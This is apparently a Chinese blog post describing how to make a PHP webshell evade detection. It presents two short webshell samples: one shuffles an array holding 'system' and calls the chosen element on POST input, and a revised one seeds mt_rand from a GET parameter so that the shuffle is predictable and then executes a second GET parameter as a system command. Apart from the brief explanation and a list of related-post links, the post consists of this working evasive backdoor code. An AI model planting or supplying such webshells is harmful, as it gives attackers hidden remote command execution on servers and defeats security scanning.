记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
旖旎夜光3 小时前
多态(11)(下)
c++·学习
全栈陈序员5 小时前
【Python】基础语法入门(十七)——文件操作与数据持久化:安全读写本地数据
开发语言·人工智能·python·学习
啄缘之间5 小时前
11. UVM Test [uvm_test]
经验分享·笔记·学习·uvm·总结
RisunJan5 小时前
【行测】类比推理-自称他称全同
学习
石像鬼₧魂石6 小时前
Termux ↔ Windows 靶机 反向连接实操命令清单
linux·windows·学习
非凡ghost6 小时前
JRiver Media Center(媒体管理软件)
android·学习·智能手机·媒体·软件需求
白帽子凯哥哥6 小时前
如何从零开始搭建一个安全的渗透测试实验环境?
安全·web安全·网络安全·渗透测试·漏洞挖掘
hssfscv7 小时前
Mysql学习笔记——事务
笔记·学习·mysql
爱宇阳7 小时前
Linux 安全加固:禁用 IPv6 ICMP 重定向
linux·安全·智能路由器
charlie1145141917 小时前
现代C++工程实践:简单的IniParser3——改进我们的split
开发语言·c++·笔记·学习